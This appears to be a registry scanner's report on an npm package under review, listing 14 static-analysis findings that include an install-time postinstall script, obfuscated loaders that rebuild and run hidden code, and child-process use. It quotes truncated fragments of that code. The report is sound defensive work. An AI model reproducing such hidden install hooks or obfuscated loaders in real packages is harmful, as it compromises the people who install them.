registry  /  @ceraph/react-native-mcp  /  0.4.18

@ceraph/react-native-mcp@0.4.18

⚠ Under review

Static Scan Results

scanned 5d ago · by rust-scanner

Static analysis flagged 14 finding(s) at 86.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason
High-risk behavior combination matched malicious policy.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork
Supply chain
MinifiedObfuscatedProtestwareUrlStrings
ManifestNo manifest risk signals triggered.
scanned 27 file(s), 1.29 MB of source, external domains: 127.0.0.1, abc.supabase.co, ceraph.dev, fbidb.io

Source & flagged code

6 flagged · loading source
package.jsonView file
•scripts.postinstall = node -e "try{var e=process.env;if(e.CI||e.CERAPH_SKIP_POSTINSTALL||require('fs').existsSync(process.cwd()+'/../../pnpm-workspace.yaml'))process.exit(0);process.stderr.write('\n[@ce...
Critical
Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg
•scripts.postinstall = node -e "try{var e=process.env;if(e.CI||e.CERAPH_SKIP_POSTINSTALL||require('fs').existsSync(process.cwd()+'/../../pnpm-workspace.yaml'))process.exit(0);process.stderr.write('\n[@ce...
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
dist/index.jsView file
2L3: const _0x45f822=_0xe465;(function(_0x8ec38c,_0x50a5ac){const _0x484b75=_0xe465,_0x40f1b1=_0x8ec38c();while(!![]){try{const _0x294d73=parseInt(_0x484b75(0x7f8))/0x1*(parseInt(_0x484...
High
Child Process

Package source references child process execution.

dist/index.jsView on unpkg · L2
2L3: const _0x45f822=_0xe465;(function(_0x8ec38c,_0x50a5ac){const _0x484b75=_0xe465,_0x40f1b1=_0x8ec38c();while(!![]){try{const _0x294d73=parseInt(_0x484b75(0x7f8))/0x1*(parseInt(_0x484...
High
Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/index.jsView on unpkg · L2
dist/babel-plugin/index.cjsView file
1'use strict';const _0x56fee0=_0x3ae8;(function(_0x4f0828,_0xc96e56){const _0x30b33b=_0x3ae8,_0x461e21=_0x4f0828();while(!![]){try{const _0xb044c0=parseInt(_0x30b33b(0xa7))/0x1+-par...
Medium
Dynamic Require

Package source references dynamic require/import behavior.

dist/babel-plugin/index.cjsView on unpkg · L1
dist/babel-plugin/index.jsView file
1const _0x32d023=_0x1698;(function(_0x335c01,_0x4a6a0c){const _0x404c6a=_0x1698,_0x5e4653=_0x335c01();while(!![]){try{const _0x36b4ef=parseInt(_0x404c6a(0xb6))/0x1+parseInt(_0x404c6...
High
Obfuscated Payload Loader

Source contains an obfuscator-style string-array loader that reconstructs and executes hidden code.

dist/babel-plugin/index.jsView on unpkg · L1

Findings

1 Critical5 High5 Medium3 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processdist/index.js
HighSame File Env Network Executiondist/index.js
HighObfuscated Payload Loaderdist/babel-plugin/index.js
HighObfuscated
MediumDynamic Requiredist/babel-plugin/index.cjs
MediumNetwork
MediumEnvironment Vars
MediumProtestware
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings